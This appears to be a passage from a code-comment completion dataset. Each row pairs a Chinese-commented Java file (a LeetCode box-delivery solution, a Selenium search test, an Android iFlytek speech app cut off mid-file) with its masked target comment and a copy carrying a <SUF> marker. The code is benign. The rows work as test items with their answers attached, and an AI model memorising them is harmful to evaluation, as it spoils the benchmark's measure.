//你有一辆货运卡车,你需要用这一辆车把一些箱子从仓库运送到码头。这辆卡车每次运输有 箱子数目的限制 和 总重量的限制 。
//
// 给你一个箱子数组 boxes 和三个整数 portsCount, maxBoxes 和 maxWeight ,其中 boxes[i] = [portsi,
// weighti] 。
//
//
// portsi 表示第 i 个箱子需要送达的码头, weightsi 是第 i 个箱子的重量。
// portsCount 是码头的数目。
// maxBoxes 和 maxWeight 分别是卡车每趟运输箱子数目和重量的限制。
//
//
// 箱子需要按照 数组顺序 运输,同时每次运输需要遵循以下步骤:
//
//
// 卡车从 boxes 队列中按顺序取出若干个箱子,但不能违反 maxBoxes 和 maxWeight 限制。
// 对于在卡车上的箱子,我们需要 按顺序 处理它们,卡车会通过 一趟行程 将最前面的箱子送到目的地码头并卸货。如果卡车已经在对应的码头,那么不需要 额外行程
//,箱子也会立马被卸货。
// 卡车上所有箱子都被卸货后,卡车需要 一趟行程 回到仓库,从箱子队列里再取出一些箱子。
//
//
// 卡车在将所有箱子运输并卸货后,最后必须回到仓库。
//
// 请你返回将所有箱子送到相应码头的 最少行程 次数。
//
//
//
// 示例 1:
//
// 输入:boxes = [[1,1],[2,1],[1,1]], portsCount = 2, maxBoxes = 3, maxWeight = 3
//输出:4
//解释:最优策略如下:
//- 卡车将所有箱子装上车,到达码头 1 ,然后去码头 2 ,然后再回到码头 1 ,最后回到仓库,总共需要 4 趟行程。
//所以总行程数为 4 。
//注意到第一个和第三个箱子不能同时被卸货,因为箱子需要按顺序处理(也就是第二个箱子需要先被送到码头 2 ,然后才能处理第三个箱子)。
//
//
// 示例 2:
//
// 输入:boxes = [[1,2],[3,3],[3,1],[3,1],[2,4]], portsCount = 3, maxBoxes = 3,
//maxWeight = 6
//输出:6
//解释:最优策略如下:
//- 卡车首先运输第一个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第二、第三、第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第五个箱子,到达码头 3 ,回到仓库,总共 2 趟行程。
//总行程数为 2 + 2 + 2 = 6 。
//
//
// 示例 3:
//
// 输入:boxes = [[1,4],[1,2],[2,1],[2,1],[3,2],[3,4]], portsCount = 3, maxBoxes =
//6, maxWeight = 7
//输出:6
//解释:最优策略如下:
//- 卡车运输第一和第二个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第三和第四个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第五和第六个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//总行程数为 2 + 2 + 2 = 6 。
//
//
// 示例 4:
//
// 输入:boxes = [[2,4],[2,5],[3,1],[3,2],[3,7],[3,1],[4,4],[1,3],[5,2]],
//portsCount = 5, maxBoxes = 5, maxWeight = 7
//输出:14
//解释:最优策略如下:
//- 卡车运输第一个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第二个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第三和第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第五个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第六和第七个箱子,到达码头 3 ,然后去码头 4 ,然后回到仓库,总共 3 趟行程。
//- 卡车运输第八和第九个箱子,到达码头 1 ,然后去码头 5 ,然后回到仓库,总共 3 趟行程。
//总行程数为 2 + 2 + 2 + 2 + 3 + 3 = 14 。
//
//
//
//
// 提示:
//
//
// 1 <= boxes.length <= 10⁵
// 1 <= portsCount, maxBoxes, maxWeight <= 10⁵
// 1 <= portsi <= portsCount
// 1 <= weightsi <= maxWeight
//
// Related Topics 线段树 队列 数组 动态规划 单调队列 堆(优先队列) 👍 106 👎 0
import java.util.ArrayDeque;
import java.util.Deque;
/**
* @Desc:
* @Author: 泽露
* @Date: 2022/12/5 5:22 PM
* @Version: 1.initial version; 2022/12/5 5:22 PM
*/
public class Solution {
public int boxDelivering(int[][] boxes, int portsCount, int maxBoxes, int maxWeight) {
int n = boxes.length;
int[] p = new int[n + 1];
int[] w = new int[n + 1];
int[] neg = new int[n + 1];
long[] W = new long[n + 1];
for (int i = 1; i <= n; ++i) {
p[i] = boxes[i - 1][0];
w[i] = boxes[i - 1][1];
if (i > 1) {
neg[i] = neg[i - 1] + (p[i - 1] != p[i] ? 1 : 0);
}
W[i] = W[i - 1] + w[i];
}
Deque<Integer> opt = new ArrayDeque<Integer>();
opt.offerLast(0);
int[] f = new int[n + 1];
int[] g = new int[n + 1];
for (int i = 1; i <= n; ++i) {
while (i - opt.peekFirst() > maxBoxes || W[i] - W[opt.peekFirst()] > maxWeight) {
opt.pollFirst();
}
f[i] = g[opt.peekFirst()] + neg[i] + 2;
if (i != n) {
g[i] = f[i] - neg[i + 1];
while (!opt.isEmpty() && g[i] <= g[opt.peekLast()]) {
opt.pollLast();
}
opt.offerLast(i);
}
}
return f[n];
}
}
| EarWheat/LeetCode | src/main/java/leetcode/One/Thousand/boxDelivering/Solution.java | 1,965 | //- 卡车运输第五个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 | line_comment | zh-cn | package leetcode.One.Thousand.boxDelivering;
//你有一辆货运卡车,你需要用这一辆车把一些箱子从仓库运送到码头。这辆卡车每次运输有 箱子数目的限制 和 总重量的限制 。
//
// 给你一个箱子数组 boxes 和三个整数 portsCount, maxBoxes 和 maxWeight ,其中 boxes[i] = [portsi,
// weighti] 。
//
//
// portsi 表示第 i 个箱子需要送达的码头, weightsi 是第 i 个箱子的重量。
// portsCount 是码头的数目。
// maxBoxes 和 maxWeight 分别是卡车每趟运输箱子数目和重量的限制。
//
//
// 箱子需要按照 数组顺序 运输,同时每次运输需要遵循以下步骤:
//
//
// 卡车从 boxes 队列中按顺序取出若干个箱子,但不能违反 maxBoxes 和 maxWeight 限制。
// 对于在卡车上的箱子,我们需要 按顺序 处理它们,卡车会通过 一趟行程 将最前面的箱子送到目的地码头并卸货。如果卡车已经在对应的码头,那么不需要 额外行程
//,箱子也会立马被卸货。
// 卡车上所有箱子都被卸货后,卡车需要 一趟行程 回到仓库,从箱子队列里再取出一些箱子。
//
//
// 卡车在将所有箱子运输并卸货后,最后必须回到仓库。
//
// 请你返回将所有箱子送到相应码头的 最少行程 次数。
//
//
//
// 示例 1:
//
// 输入:boxes = [[1,1],[2,1],[1,1]], portsCount = 2, maxBoxes = 3, maxWeight = 3
//输出:4
//解释:最优策略如下:
//- 卡车将所有箱子装上车,到达码头 1 ,然后去码头 2 ,然后再回到码头 1 ,最后回到仓库,总共需要 4 趟行程。
//所以总行程数为 4 。
//注意到第一个和第三个箱子不能同时被卸货,因为箱子需要按顺序处理(也就是第二个箱子需要先被送到码头 2 ,然后才能处理第三个箱子)。
//
//
// 示例 2:
//
// 输入:boxes = [[1,2],[3,3],[3,1],[3,1],[2,4]], portsCount = 3, maxBoxes = 3,
//maxWeight = 6
//输出:6
//解释:最优策略如下:
//- 卡车首先运输第一个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第二、第三、第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第五个箱子,到达码头 3 ,回到仓库,总共 2 趟行程。
//总行程数为 2 + 2 + 2 = 6 。
//
//
// 示例 3:
//
// 输入:boxes = [[1,4],[1,2],[2,1],[2,1],[3,2],[3,4]], portsCount = 3, maxBoxes =
//6, maxWeight = 7
//输出:6
//解释:最优策略如下:
//- 卡车运输第一和第二个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第三和第四个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第五和第六个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//总行程数为 2 + 2 + 2 = 6 。
//
//
// 示例 4:
//
// 输入:boxes = [[2,4],[2,5],[3,1],[3,2],[3,7],[3,1],[4,4],[1,3],[5,2]],
//portsCount = 5, maxBoxes = 5, maxWeight = 7
//输出:14
//解释:最优策略如下:
//- 卡车运输第一个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第二个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。
//- 卡车运输第三和第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
//- <SUF>
//- 卡车运输第六和第七个箱子,到达码头 3 ,然后去码头 4 ,然后回到仓库,总共 3 趟行程。
//- 卡车运输第八和第九个箱子,到达码头 1 ,然后去码头 5 ,然后回到仓库,总共 3 趟行程。
//总行程数为 2 + 2 + 2 + 2 + 3 + 3 = 14 。
//
//
//
//
// 提示:
//
//
// 1 <= boxes.length <= 10⁵
// 1 <= portsCount, maxBoxes, maxWeight <= 10⁵
// 1 <= portsi <= portsCount
// 1 <= weightsi <= maxWeight
//
// Related Topics 线段树 队列 数组 动态规划 单调队列 堆(优先队列) 👍 106 👎 0
import java.util.ArrayDeque;
import java.util.Deque;
/**
* @Desc:
* @Author: 泽露
* @Date: 2022/12/5 5:22 PM
* @Version: 1.initial version; 2022/12/5 5:22 PM
*/
public class Solution {
public int boxDelivering(int[][] boxes, int portsCount, int maxBoxes, int maxWeight) {
int n = boxes.length;
int[] p = new int[n + 1];
int[] w = new int[n + 1];
int[] neg = new int[n + 1];
long[] W = new long[n + 1];
for (int i = 1; i <= n; ++i) {
p[i] = boxes[i - 1][0];
w[i] = boxes[i - 1][1];
if (i > 1) {
neg[i] = neg[i - 1] + (p[i - 1] != p[i] ? 1 : 0);
}
W[i] = W[i - 1] + w[i];
}
Deque<Integer> opt = new ArrayDeque<Integer>();
opt.offerLast(0);
int[] f = new int[n + 1];
int[] g = new int[n + 1];
for (int i = 1; i <= n; ++i) {
while (i - opt.peekFirst() > maxBoxes || W[i] - W[opt.peekFirst()] > maxWeight) {
opt.pollFirst();
}
f[i] = g[opt.peekFirst()] + neg[i] + 2;
if (i != n) {
g[i] = f[i] - neg[i + 1];
while (!opt.isEmpty() && g[i] <= g[opt.peekLast()]) {
opt.pollLast();
}
opt.offerLast(i);
}
}
return f[n];
}
}
| 1 | 38 | 1 |
46861_2 | package JavaBasicAPI;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.testng.Assert;
import org.testng.annotations.AfterMethod;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
import BrowserDrivers.GetBrowserDriver;
//10.27
public class GetWebElementAttributeTesting {
public WebDriver driver;
@Test
public void getWebElementAttributeTest() throws InterruptedException {
driver.get("http://www.baidu.com");
String text="比利时遭遇恐怖袭击";
WebElement SearchBox = driver.findElement(By.id("kw")); //将搜索框的id实例化
SearchBox.sendKeys(text);
String innerText = SearchBox.getAttribute("value"); //调用attribute方法,并获取搜索框value的值(就是搜索文字的内容)
Thread.sleep(3000);
Assert.assertEquals(innerText, "比利时遭遇恐怖袭击");
}
@BeforeMethod
public void beforeMethod() {
driver = GetBrowserDriver.GetChromeDriver();
}
@AfterMethod
public void afterMethod() {
driver.quit();
}
}
| Eason0731/MySeleniumCases | src/JavaBasicAPI/GetWebElementAttributeTesting.java | 304 | //将搜索框的id实例化 | line_comment | zh-cn | package JavaBasicAPI;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.testng.Assert;
import org.testng.annotations.AfterMethod;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
import BrowserDrivers.GetBrowserDriver;
//10.27
public class GetWebElementAttributeTesting {
public WebDriver driver;
@Test
public void getWebElementAttributeTest() throws InterruptedException {
driver.get("http://www.baidu.com");
String text="比利时遭遇恐怖袭击";
WebElement SearchBox = driver.findElement(By.id("kw")); //将搜 <SUF>
SearchBox.sendKeys(text);
String innerText = SearchBox.getAttribute("value"); //调用attribute方法,并获取搜索框value的值(就是搜索文字的内容)
Thread.sleep(3000);
Assert.assertEquals(innerText, "比利时遭遇恐怖袭击");
}
@BeforeMethod
public void beforeMethod() {
driver = GetBrowserDriver.GetChromeDriver();
}
@AfterMethod
public void afterMethod() {
driver.quit();
}
}
| 1 | 12 | 1 |
38290_63 | package com.example.woops.cookit.activity;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import com.example.woops.cookit.R;
import com.example.woops.cookit.bean.Store;
import com.example.woops.cookit.db.CookitDB;
import com.example.woops.cookit.test.SpliteGenerate;
import com.example.woops.cookit.util.JsonParser;
import com.iflytek.cloud.ErrorCode;
import com.iflytek.cloud.InitListener;
import com.iflytek.cloud.RecognizerListener;
import com.iflytek.cloud.RecognizerResult;
import com.iflytek.cloud.SpeechConstant;
import com.iflytek.cloud.SpeechError;
import com.iflytek.cloud.SpeechRecognizer;
import com.iflytek.cloud.SpeechSynthesizer;
import com.iflytek.cloud.SpeechUtility;
import com.iflytek.cloud.SynthesizerListener;
/**
* 语音转文字类,根据文字识别
*/
public class ItaActivity extends AppCompatActivity {
//显示框
private EditText mResult;
//设置存储容器
private SharedPreferences mSharedPreferences;
//设置语音识别对象
private SpeechRecognizer mIat;
//迷之Toast,删掉会出现奇怪的错误
private Toast mToast;
//后加的内容
// 语音合成对象
private SpeechSynthesizer mTts;
//缓冲进度
private int mPercentForBuffering = 0;
//播放进度
private int mPercentForPlaying = 0;
private String text;
private CookitDB mCookit;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_ita);
SpeechUtility.createUtility(this, "appid=570b2ef9");
//初始化语音识别对象
mIat = SpeechRecognizer.createRecognizer(this, mInitListener);
// 初始化合成对象
mTts = SpeechSynthesizer.createSynthesizer(this, mTtsInitListener);
mSharedPreferences = getSharedPreferences("com.iflytek.setting", Activity.MODE_PRIVATE);
mToast = Toast.makeText(this, "", Toast.LENGTH_SHORT);
//初始化UI
initLayout();
//初始化数据库
mCookit = CookitDB.getInstance(this);
}
private void initLayout() {
mResult = (EditText) findViewById(R.id.iat_text);
}
//设置返回值参数
int ret = 0;
//普通的听写功能
public void startClick(View view) {
mResult.setText(null);
setParams();
ret = mIat.startListening(mRecognizerListener);
//貌似没有卵用
if (ret != ErrorCode.SUCCESS) {
showTip("听写失败,错误码:" + ret);
} else {
showTip("请开始BB");
}
}
//设置跳转至发音Activity按钮
public void ttsClick(View view) {
startActivity(new Intent(this, TtsActivity.class));
}
//显示数据库
public void readDB(View view){
mCookit.loadDataBaseTest();
}
//设置参数
private void setParams() {
// 清空参数
mIat.setParameter(SpeechConstant.PARAMS, null);
String lag = mSharedPreferences.getString("iat_language_preference", "mandarin");
// 设置引擎
mIat.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD);
// 设置返回结果格式
mIat.setParameter(SpeechConstant.RESULT_TYPE, "json");
if (lag.equals("en_us")) {
// 设置语言
mIat.setParameter(SpeechConstant.LANGUAGE, "en_us");
} else {
// 设置语言
mIat.setParameter(SpeechConstant.LANGUAGE, "zh_cn");
// 设置语言区域
mIat.setParameter(SpeechConstant.ACCENT, lag);
}
// 设置语音前端点:静音超时时间,即用户多长时间不说话则当做超时处理
mIat.setParameter(SpeechConstant.VAD_BOS, mSharedPreferences.getString("iat_vadbos_preference", "4000"));
// 设置语音后端点:后端点静音检测时间,即用户停止说话多长时间内即认为不再输入, 自动停止录音
mIat.setParameter(SpeechConstant.VAD_EOS, mSharedPreferences.getString("iat_vadeos_preference", "1000"));
// 设置标点符号,设置为"0"返回结果无标点,设置为"1"返回结果有标点
mIat.setParameter(SpeechConstant.ASR_PTT, mSharedPreferences.getString("iat_punc_preference", "1"));
// 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限
// 注:AUDIO_FORMAT参数语记需要更新版本才能生效
mIat.setParameter(SpeechConstant.AUDIO_FORMAT, "wav");
mIat.setParameter(SpeechConstant.ASR_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/iat.wav");
// 清空参数
mTts.setParameter(SpeechConstant.PARAMS, null);
//设置合成
//设置使用云端引擎
mTts.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD);
//设置发音人
mTts.setParameter(SpeechConstant.VOICE_NAME, "xiaoqian");
//设置合成语速
mTts.setParameter(SpeechConstant.SPEED, mSharedPreferences.getString("speed_preference", "50"));
//设置合成音调
mTts.setParameter(SpeechConstant.PITCH, mSharedPreferences.getString("pitch_preference", "50"));
//设置合成音量
mTts.setParameter(SpeechConstant.VOLUME, mSharedPreferences.getString("volume_preference", "50"));
//设置播放器音频流类型
mTts.setParameter(SpeechConstant.STREAM_TYPE, mSharedPreferences.getString("stream_preference", "3"));
// 设置播放合成音频打断音乐播放,默认为true
mTts.setParameter(SpeechConstant.KEY_REQUEST_FOCUS, "true");
// 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限
// 注:AUDIO_FORMAT参数语记需要更新版本才能生效
mTts.setParameter(SpeechConstant.AUDIO_FORMAT, "wav");
mTts.setParameter(SpeechConstant.TTS_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/tts.wav");
}
/**
* 初始化监听器。
*/
private InitListener mInitListener = new InitListener() {
@Override
public void onInit(int code) {
Log.d("TAG", "SpeechRecognizer init() code = " + code);
if (code != ErrorCode.SUCCESS) {
showTip("初始化失败,错误码:" + code);
}
}
};
/**
* 初始化监听。
*/
private InitListener mTtsInitListener = new InitListener() {
@Override
public void onInit(int code) {
Log.d("TAG", "InitListener init() code = " + code);
if (code != ErrorCode.SUCCESS) {
showTip("初始化失败,错误码:" + code);
} else {
// 初始化成功,之后可以调用startSpeaking方法
// 注:有的开发者在onCreate方法中创建完合成对象之后马上就调用startSpeaking进行合成,
// 正确的做法是将onCreate中的startSpeaking调用移至这里
}
}
};
private void showTip(final String str) {
runOnUiThread(new Runnable() {
@Override
public void run() {
mToast.setText(str);
mToast.show();
}
});
}
/**
* 合成回调监听。
*/
private SynthesizerListener mTtsListener = new SynthesizerListener() {
@Override
public void onSpeakBegin() {
showTip("开始播放");
}
@Override
public void onSpeakPaused() {
showTip("暂停播放");
}
@Override
public void onSpeakResumed() {
showTip("继续播放");
}
@Override
public void onBufferProgress(int percent, int beginPos, int endPos,
String info) {
// 合成进度
mPercentForBuffering = percent;
showTip(String.format(getString(R.string.tts_toast_format),
mPercentForBuffering, mPercentForPlaying));
}
@Override
public void onSpeakProgress(int percent, int beginPos, int endPos) {
// 播放进度
mPercentForPlaying = percent;
showTip(String.format(getString(R.string.tts_toast_format),
mPercentForBuffering, mPercentForPlaying));
}
@Override
public void onCompleted(SpeechError error) {
if (error == null) {
showTip("播放完成");
} else if (error != null) {
showTip(error.getPlainDescription(true));
}
}
@Override
public void onEvent(int eventType, int arg1, int arg2, Bundle obj) {
// 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因
// 若使用本地能力,会话id为null
// if (SpeechEvent.EVENT_SESSION_ID == eventType) {
// String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID);
// Log.d(TAG, "session id =" + sid);
// }
}
};
private RecognizerListener mRecognizerListener = new RecognizerListener() {
@Override
public void onBeginOfSpeech() {
// 此回调表示:sdk内部录音机已经准备好了,用户可以开始语音输入
showTip("开始说话");
}
@Override
public void onError(SpeechError error) {
// Tips:
// 错误码:10118(您没有说话),可能是录音机权限被禁,需要提示用户打开应用的录音权限。
showTip(error.getPlainDescription(true));
}
@Override
public void onEndOfSpeech() {
// 此回调表示:检测到了语音的尾端点,已经进入识别过程,不再接受语音输入
showTip("结束说话");
text = mResult.getText().toString();
int num = text.length();
if (num >= 6) {
//调用分割测试类显示结果
SpliteGenerate mSpliteGenerate = new SpliteGenerate(text);
//获取分类处理好的数据实体类
Store mStore = mSpliteGenerate.classification();
if (mStore.getOperate().equals("放入")){
//将数据存入数据库中
mCookit.savaStore(mStore);
}else if (mStore.getOperate().equals("拿走")){
mCookit.deleteDataBaseTest();
}
//mSpliteGenerate.displayStore();
}
Log.d("MY", String.valueOf(num));
mTts.startSpeaking(text, mTtsListener);
}
@Override
public void onResult(RecognizerResult results, boolean isLast) {
text = JsonParser.parseIatResult(results.getResultString());
mResult.append(text);
mResult.setSelection(mResult.length());
if (isLast) {
//TODO 最后的结果
}
}
@Override
public void onVolumeChanged(int volume, byte[] data) {
showTip("当前正在说话,音量大小:" + volume);
Log.d("TAG", "返回音频数据:" + data.length);
}
@Override
public void onEvent(int eventType, int arg1, int arg2, Bundle obj) {
// 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因
// 若使用本地能力,会话id为null
// if (SpeechEvent.EVENT_SESSION_ID == eventType) {
// String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID);
// Log.d(TAG, "session id =" + sid);
// }
}
};
}
| Eccolala/BCCookIt | app/src/main/java/com/example/woops/cookit/activity/ItaActivity.java | 2,987 | // 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因 | line_comment | zh-cn | package com.example.woops.cookit.activity;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import com.example.woops.cookit.R;
import com.example.woops.cookit.bean.Store;
import com.example.woops.cookit.db.CookitDB;
import com.example.woops.cookit.test.SpliteGenerate;
import com.example.woops.cookit.util.JsonParser;
import com.iflytek.cloud.ErrorCode;
import com.iflytek.cloud.InitListener;
import com.iflytek.cloud.RecognizerListener;
import com.iflytek.cloud.RecognizerResult;
import com.iflytek.cloud.SpeechConstant;
import com.iflytek.cloud.SpeechError;
import com.iflytek.cloud.SpeechRecognizer;
import com.iflytek.cloud.SpeechSynthesizer;
import com.iflytek.cloud.SpeechUtility;
import com.iflytek.cloud.SynthesizerListener;
/**
* 语音转文字类,根据文字识别
*/
public class ItaActivity extends AppCompatActivity {
//显示框
private EditText mResult;
//设置存储容器
private SharedPreferences mSharedPreferences;
//设置语音识别对象
private SpeechRecognizer mIat;
//迷之Toast,删掉会出现奇怪的错误
private Toast mToast;
//后加的内容
// 语音合成对象
private SpeechSynthesizer mTts;
//缓冲进度
private int mPercentForBuffering = 0;
//播放进度
private int mPercentForPlaying = 0;
private String text;
private CookitDB mCookit;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_ita);
SpeechUtility.createUtility(this, "appid=570b2ef9");
//初始化语音识别对象
mIat = SpeechRecognizer.createRecognizer(this, mInitListener);
// 初始化合成对象
mTts = SpeechSynthesizer.createSynthesizer(this, mTtsInitListener);
mSharedPreferences = getSharedPreferences("com.iflytek.setting", Activity.MODE_PRIVATE);
mToast = Toast.makeText(this, "", Toast.LENGTH_SHORT);
//初始化UI
initLayout();
//初始化数据库
mCookit = CookitDB.getInstance(this);
}
private void initLayout() {
mResult = (EditText) findViewById(R.id.iat_text);
}
//设置返回值参数
int ret = 0;
//普通的听写功能
public void startClick(View view) {
mResult.setText(null);
setParams();
ret = mIat.startListening(mRecognizerListener);
//貌似没有卵用
if (ret != ErrorCode.SUCCESS) {
showTip("听写失败,错误码:" + ret);
} else {
showTip("请开始BB");
}
}
//设置跳转至发音Activity按钮
public void ttsClick(View view) {
startActivity(new Intent(this, TtsActivity.class));
}
//显示数据库
public void readDB(View view){
mCookit.loadDataBaseTest();
}
//设置参数
private void setParams() {
// 清空参数
mIat.setParameter(SpeechConstant.PARAMS, null);
String lag = mSharedPreferences.getString("iat_language_preference", "mandarin");
// 设置引擎
mIat.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD);
// 设置返回结果格式
mIat.setParameter(SpeechConstant.RESULT_TYPE, "json");
if (lag.equals("en_us")) {
// 设置语言
mIat.setParameter(SpeechConstant.LANGUAGE, "en_us");
} else {
// 设置语言
mIat.setParameter(SpeechConstant.LANGUAGE, "zh_cn");
// 设置语言区域
mIat.setParameter(SpeechConstant.ACCENT, lag);
}
// 设置语音前端点:静音超时时间,即用户多长时间不说话则当做超时处理
mIat.setParameter(SpeechConstant.VAD_BOS, mSharedPreferences.getString("iat_vadbos_preference", "4000"));
// 设置语音后端点:后端点静音检测时间,即用户停止说话多长时间内即认为不再输入, 自动停止录音
mIat.setParameter(SpeechConstant.VAD_EOS, mSharedPreferences.getString("iat_vadeos_preference", "1000"));
// 设置标点符号,设置为"0"返回结果无标点,设置为"1"返回结果有标点
mIat.setParameter(SpeechConstant.ASR_PTT, mSharedPreferences.getString("iat_punc_preference", "1"));
// 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限
// 注:AUDIO_FORMAT参数语记需要更新版本才能生效
mIat.setParameter(SpeechConstant.AUDIO_FORMAT, "wav");
mIat.setParameter(SpeechConstant.ASR_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/iat.wav");
// 清空参数
mTts.setParameter(SpeechConstant.PARAMS, null);
//设置合成
//设置使用云端引擎
mTts.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD);
//设置发音人
mTts.setParameter(SpeechConstant.VOICE_NAME, "xiaoqian");
//设置合成语速
mTts.setParameter(SpeechConstant.SPEED, mSharedPreferences.getString("speed_preference", "50"));
//设置合成音调
mTts.setParameter(SpeechConstant.PITCH, mSharedPreferences.getString("pitch_preference", "50"));
//设置合成音量
mTts.setParameter(SpeechConstant.VOLUME, mSharedPreferences.getString("volume_preference", "50"));
//设置播放器音频流类型
mTts.setParameter(SpeechConstant.STREAM_TYPE, mSharedPreferences.getString("stream_preference", "3"));
// 设置播放合成音频打断音乐播放,默认为true
mTts.setParameter(SpeechConstant.KEY_REQUEST_FOCUS, "true");
// 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限
// 注:AUDIO_FORMAT参数语记需要更新版本才能生效
mTts.setParameter(SpeechConstant.AUDIO_FORMAT, "wav");
mTts.setParameter(SpeechConstant.TTS_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/tts.wav");
}
/**
* 初始化监听器。
*/
private InitListener mInitListener = new InitListener() {
@Override
public void onInit(int code) {
Log.d("TAG", "SpeechRecognizer init() code = " + code);
if (code != ErrorCode.SUCCESS) {
showTip("初始化失败,错误码:" + code);
}
}
};
/**
* 初始化监听。
*/
private InitListener mTtsInitListener = new InitListener() {
@Override
public void onInit(int code) {
Log.d("TAG", "InitListener init() code = " + code);
if (code != ErrorCode.SUCCESS) {
showTip("初始化失败,错误码:" + code);
} else {
// 初始化成功,之后可以调用startSpeaking方法
// 注:有的开发者在onCreate方法中创建完合成对象之后马上就调用startSpeaking进行合成,
// 正确的做法是将onCreate中的startSpeaking调用移至这里
}
}
};
private void showTip(final String str) {
runOnUiThread(new Runnable() {
@Override
public void run() {
mToast.setText(str);
mToast.show();
}
});
}
/**
* 合成回调监听。
*/
private SynthesizerListener mTtsListener = new SynthesizerListener() {
@Override
public void onSpeakBegin() {
showTip("开始播放");
}
@Override
public void onSpeakPaused() {
showTip("暂停播放");
}
@Override
public void onSpeakResumed() {
showTip("继续播放");
}
@Override
public void onBufferProgress(int percent, int beginPos, int endPos,
String info) {
// 合成进度
mPercentForBuffering = percent;
showTip(String.format(getString(R.string.tts_toast_format),
mPercentForBuffering, mPercentForPlaying));
}
@Override
public void onSpeakProgress(int percent, int beginPos, int endPos) {
// 播放进度
mPercentForPlaying = percent;
showTip(String.format(getString(R.string.tts_toast_format),
mPercentForBuffering, mPercentForPlaying));
}
@Override
public void onCompleted(SpeechError error) {
if (error == null) {
showTip("播放完成");
} else if (error != null) {
showTip(error.getPlainDescription(true));
}
}
@Override
public void onEvent(int eventType, int arg1, int arg2, Bundle obj) {
// 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因
// 若使用本地能力,会话id为null
// if (SpeechEvent.EVENT_SESSION_ID == eventType) {
// String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID);
// Log.d(TAG, "session id =" + sid);
// }
}
};
private RecognizerListener mRecognizerListener = new RecognizerListener() {
@Override
public void onBeginOfSpeech() {
// 此回调表示:sdk内部录音机已经准备好了,用户可以开始语音输入
showTip("开始说话");
}
@Override
public void onError(SpeechError error) {
// Tips:
// 错误码:10118(您没有说话),可能是录音机权限被禁,需要提示用户打开应用的录音权限。
showTip(error.getPlainDescription(true));
}
@Override
public void onEndOfSpeech() {
// 此回调表示:检测到了语音的尾端点,已经进入识别过程,不再接受语音输入
showTip("结束说话");
text = mResult.getText().toString();
int num = text.length();
if (num >= 6) {
//调用分割测试类显示结果
SpliteGenerate mSpliteGenerate = new SpliteGenerate(text);
//获取分类处理好的数据实体类
Store mStore = mSpliteGenerate.classification();
if (mStore.getOperate().equals("放入")){
//将数据存入数据库中
mCookit.savaStore(mStore);
}else if (mStore.getOperate().equals("拿走")){
mCookit.deleteDataBaseTest();
}
//mSpliteGenerate.displayStore();
}
Log.d("MY", String.valueOf(num));
mTts.startSpeaking(text, mTtsListener);
}
@Override
public void onResult(RecognizerResult results, boolean isLast) {
text = JsonParser.parseIatResult(results.getResultString());
mResult.append(text);
mResult.setSelection(mResult.length());
if (isLast) {
//TODO 最后的结果
}
}
@Override
public void onVolumeChanged(int volume, byte[] data) {
